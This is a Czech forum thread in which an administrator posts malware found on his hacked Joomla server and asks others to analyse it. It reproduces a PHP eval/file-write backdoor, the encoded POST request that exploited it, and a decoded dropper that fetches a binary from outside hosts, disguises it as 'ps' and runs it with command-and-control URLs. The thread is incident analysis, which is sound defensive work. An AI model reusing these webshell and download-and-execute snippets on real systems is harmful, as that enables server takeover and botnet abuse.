Fórum Root.cz

Hlavní témata => Server => Téma založeno: looker 31. 03. 2014, 12:12:27

Název: Analýza hacknutého serveru
Přispěvatel: looker 31. 03. 2014, 12:12:27
Ahoj, prosím pomozte mi zanalyzovat skripty odchycené na hacklém serveru.

Nedávno mi někdo hacknul server a nejspíš jsem se stal součástí nějakého botnetu.
Protože jsem už před půlrokem řešil problém rozesílání spamu - clamavem nalezeny a odstraněny infekce spambotu, nainstalil jsem do apache modul modsecurity a v něm zapl auditlog hlaviček a požadavků POST.
Po nějaké době jsem koukal do auditlogu a našel záznam, kdy po vyvolání infikované stránky na mém serveru došlo ke stažení skriptu a spuštění různých akcí.
Ten skript jsem dekódoval a snažím se rozklíčovat, co přesně dělá.
infikovaná stránka obsahovala toto:
Kód: [Vybrat]
<?php $ietdgc "8c8580370182a2d20127a69c5c7b1af6"
  if(isset(
$_REQUEST['eosdzj'])) 
    { 
$wmbqhi $_REQUEST['eosdzj']; 
    eval(
$wmbqhi); exit(); }
  if(isset(
$_REQUEST['geokxjkd'])) 
    { 
$wwdqd $_REQUEST['ulgidjx']; 
      
$koayobr $_REQUEST['geokxjkd']; 
      
$lyuot fopen($koayobr'w'); 
      
$zcawdru fwrite($lyuot$wwdqd); 
      
fclose($lyuot); 
      echo 
$zcawdru
      exit(); }

?>
Tohle byl pak POST v logu:
Kód: [Vybrat]
eosdzj=%24p+%3d+array%5fkeys%28%24%5fREQUEST%29%3b+echo+%24%5fREQUEST%5b%24p%5b2%5d%5d%3b+eval%28base64%5fdecode%28%24%5fREQUEST%5b%24p%5b1%5d%5d%29%29%3b&p1=ZnVuY3Rpb24gZG93bmxvYWRGaWxlICgkdXJsLCAkcGF0aCkgewoKICAkbmV3Zm5hbWUgPSAkcGF0aDsKICAkZmlsZSA9IGZvcGVuICgkdXJsLCAicmIiKTsKICBpZiAoJGZpbGUpIHsKICAgICRuZXdmID0gZm9wZW4gKCRuZXdmbmFtZSwgIndiKyIpOwoKICAgIGlmICgkbmV3ZikKICAgIHdoaWxlKCFmZW9mKCRmaWxlKSkgewogICAgICBmd3JpdGUoJG5ld2YsIGZyZWFkKCRmaWxlLCAxMDI0ICogNjQgKSwgMTAyNCAqIDY0ICk7CiAgICB9CiAgfQoKICBpZiAoJGZpbGUpIHsKICAgIGZjbG9zZSgkZmlsZSk7CiAgfQoKICBpZiAoJG5ld2YpIHsKICAgIGZjbG9zZSgkbmV3Zik7CiAgfQogfQoKJG9zID0gcGhwX3VuYW1lKCdzJyk7CiR0eXBlID0gcGhwX3VuYW1lKCdtJyk7CgplY2hvICJQSFBfU1RBUlQiOwoKaWYgKCAhZnVuY3Rpb25fZXhpc3RzKHNoZWxsX2V4ZWMpICkKewoJZWNobyAibm9leGVjXG4iOwoJZWNobyAiUEhQX0VORCI7CglleGl0KDApOwp9CgppZiAoICRvcyAhPT0gIkxpbnV4IiApCnsKCWVjaG8gIk5vTGludXg6ICIuJG9zLiI8YnI%2bXG4iOwoJZWNobyAiUEhQX0VORCI7CglleGl0KDApOwp9CgoKCmlmICgkdHlwZSA9PSAieDg2XzY0IikgLy82NC1iaXQgb3MKewoJcHJpbnQgIng4Nl82NFxuIjsKCSRkdyA9ICJodHRwOi8vcGFnZXMubXVzaWtsc3Qub3JnL3BzNjQiOwoJJHBzID0gIi4vcHM2NCI7Cn0KZWxzZQp7CglwcmludCAiaTY4NlxuIjsKCSRkdyA9ICJodHRwOi8vcGFnZXMubXVzaWtsc3Qub3JnL3BzMzIiOwoJJHBzID0gIi4vcHMzMiI7Cn0KCiRwcyA9ICJwcyI7CgppZiAoIWZpbGVfZXhpc3RzKCRwcykpCnsKCWVjaG8gIkRvd25sb2FkICRkd1xuIjsKCWRvd25sb2FkRmlsZSgkZHcsICRwcyk7CgkvL0BmaWxlX3B1dF9jb250ZW50cygiJFBTIiwgQGZpbGVfZ2V0X2NvbnRlbnRzKCRkdykpOwp9CmVsc2UKewoJZWNobyAiRXhpc3RzICRwc1xuIjsKfQoKCmNobW9kICgkcHMsICIwNzU1Iik7CgokZW52ID0gIkJEVT1odHRwOi8vYnQyMi5tdXNpa2xzdC5vcmcvYXIxLnBocCBTSFU9aHR0cDovL3Nlby5tdXNpa2xzdC5vcmcvZ3UucGhwIFNLVT1odHRwOi8vc2VlazIyLm11c2lrbHN0Lm9yZy8gTElOPTYwMDAgREJOPWFmMDAxIjsKJGNtZCA9ICRlbnYuIiAuLyRwcyA%2bL2Rldi9udWxsIDI%2bL2Rldi9udWxsICYiOwokb3V0ID0gc2hlbGxfZXhlYygkY21kKTsKCnVubGluayAoJHBzKTsKCmVjaG8gIlBIUF9FTkQiOwo%3d&p2=b1946ac92492d2347c6235b4d2611184&shid=33338
ten POST jsem rozkódoval-obsahuje toto:
Kód: [Vybrat]
  $p = array_keys($_REQUEST);
  echo $_REQUEST[$p[2]];
  eval(base64_decode($_REQUEST[$p[1]]));
a proměnná $p[1] obsahuje tento skript:
Kód: [Vybrat]
  function downloadFile ($url, $path)
    { $newfname = $path; $file = fopen ($url, "rb");
       if ($file) { $newf = fopen ($newfname, "wb+");
                    if ($newf) while(!feof($file))
                      { fwrite($newf, fread($file, 1024 * 64 ), 1024 * 64 ); }
                  }
      if ($file) { fclose($file); }
      if ($newf) { fclose($newf); } }
  $os = php_uname('s');
  $type = php_uname('m');
  echo "PHP_START";
  if ( !function_exists(shell_exec) )
      { echo "noexec\n"; echo "PHP_END"; exit(0); }
  if ( $os !== "Linux" ) { echo "NoLinux: ".$os."
   
  <br>\n";
  echo "PHP_END";
  exit(0);
  }   
  if ($type == "x86_64") //64-bit os
  {
  print "x86_64\n";
  $dw = "http://pages.musiklst.org/ps64";
  $ps = "./ps64";
  }
  else
  {
  print "i686\n";
  $dw = "http://pages.musiklst.org/ps32";
  $ps = "./ps32";
  }
  $ps = "ps"; 
  if (!file_exists($ps))
  {
  echo "Download $dw\n";
  downloadFile($dw, $ps);
  //@file_put_contents("$PS", @file_get_contents($dw));
  }
  else
  {
  echo "Exists $ps\n";
  }
  chmod ($ps, "0755");
  $env = "BDU=http://bt22.musiklst.org/ar1.php SHU=http://seo.musiklst.org/gu.php SKU=http://seek22.musiklst.org/ LIN=6000 DBN=af001";
  $cmd = $env." ./$ps >/dev/null 2>/dev/null &";
  $out = shell_exec($cmd);
  unlink ($ps);
  echo "PHP_END";
  )


Název: Re:analýza hacknutého serveru
Přispěvatel: looker 31. 03. 2014, 12:25:10
Ještě dodám, že server jede už z čisté instalace. K tomu skriptu, jde mi hlavně o to, co se děje v shellu s tím ps - jestli to nějak modifikuje linuxí ps.
Ještě s tou infikovanou stránkou je ve stejném adresáři uložen obrázek jpeg s názvem img33339.jpg - samozřejmě to není obrázek ale soubor, kam si skript něco poznamenává.
Má jen 6bytů: FFD8FFC0C220
Název: Re:analýza hacknutého serveru
Přispěvatel: SUK 31. 03. 2014, 12:26:35
Zajimave, pages.musiklst.org ukazuje na 127.0.0.1

Jinak nedela to nic jineho, nez ze to stahne a spusti nejakej skript respektive program (asi binarka, neb odlisuje architekturu). A mozna i neco dalsiho. A dela bordel...
Název: Re:analýza hacknutého serveru
Přispěvatel: looker 31. 03. 2014, 12:33:45
nejde mi do hlavy proměnná $ps. nejdřív větví v podmínce a pak ji stejně přiřadí string ps. Testuje existenci soboru a ten, jestli se nemýlím, by se měl jmenovat ps.
Hledal jsem soubory ps, a našel jsem ale jen ps - proces status.
Název: Re:analýza hacknutého serveru
Přispěvatel: Vasek 31. 03. 2014, 12:48:14
Zkousi, jestli tam soubor ps uz je nebo ne a kdyztak ho stahne. ps se jmenuje proto, aby se zamaskoval. Pokud si totiz vypises bezici procesy, tak na to pravdepodobne pouzijes ps a jsi zvykli za tam vzdy ps je. Takze nejspis prehlednes ze tam je dvakrat a jeden tam nepatri.
Název: Re:analýza hacknutého serveru
Přispěvatel: Rhinox 31. 03. 2014, 12:49:42
Bych rekl ze spis nez co je v tech skriptech by te melo zajimat, jak se na servr dostaly (tedy jestli to jeste nevis)...
Název: Re:analýza hacknutého serveru
Přispěvatel: Lol Phirae 31. 03. 2014, 12:51:33
nejde mi do hlavy proměnná $ps. nejdřív větví v podmínce a pak ji stejně přiřadí string ps. Testuje existenci soboru a ten, jestli se nemýlím, by se měl jmenovat ps.
Hledal jsem soubory ps, a našel jsem ale jen ps - proces status.

Co?! Zjistím, jestli je OS 32- nebo 64bitový, podle toho stáhnu binárku, no a abych nestahoval zbytečně, protože mezitím můžu infikovat další stroje, tak se nejdřív podívám, jestli už ji náhodou nemám staženou.
Název: Re:analýza hacknutého serveru
Přispěvatel: Lol Phirae 31. 03. 2014, 12:52:43
Bych rekl ze spis nez co je v tech skriptech by te melo zajimat, jak se na servr dostaly (tedy jestli to jeste nevis)...

Ano, to bych taky zjišťoval především, protože jinak je ta reinstalace dost na nic, to můžeš takhle reinstalovat každej tejden.  ;D
Název: Re:Analýza hacknutého serveru
Přispěvatel: looker 31. 03. 2014, 13:22:51
jela mi tam joomla, takže přes nějakou její slabinu. Je fakt, že jsem záplatoval podle toho, jak jsem se k tomu dostal...
Název: Re:analýza hacknutého serveru
Přispěvatel: looker 31. 03. 2014, 13:25:27
nejde mi do hlavy proměnná $ps. nejdřív větví v podmínce a pak ji stejně přiřadí string ps. Testuje existenci soboru a ten, jestli se nemýlím, by se měl jmenovat ps.
Hledal jsem soubory ps, a našel jsem ale jen ps - proces status.

Co?! Zjistím, jestli je OS 32- nebo 64bitový, podle toho stáhnu binárku, no a abych nestahoval zbytečně, protože mezitím můžu infikovat další stroje, tak se nejdřív podívám, jestli už ji náhodou nemám staženou.

Jo to je mi jasný, jenom že tu $ps nastavuje v tom větvení a pak ji stejně přepíše na "ps", ale to si asi zjednodušili název - pro obě arch. stejný a ve větvení to zůstalo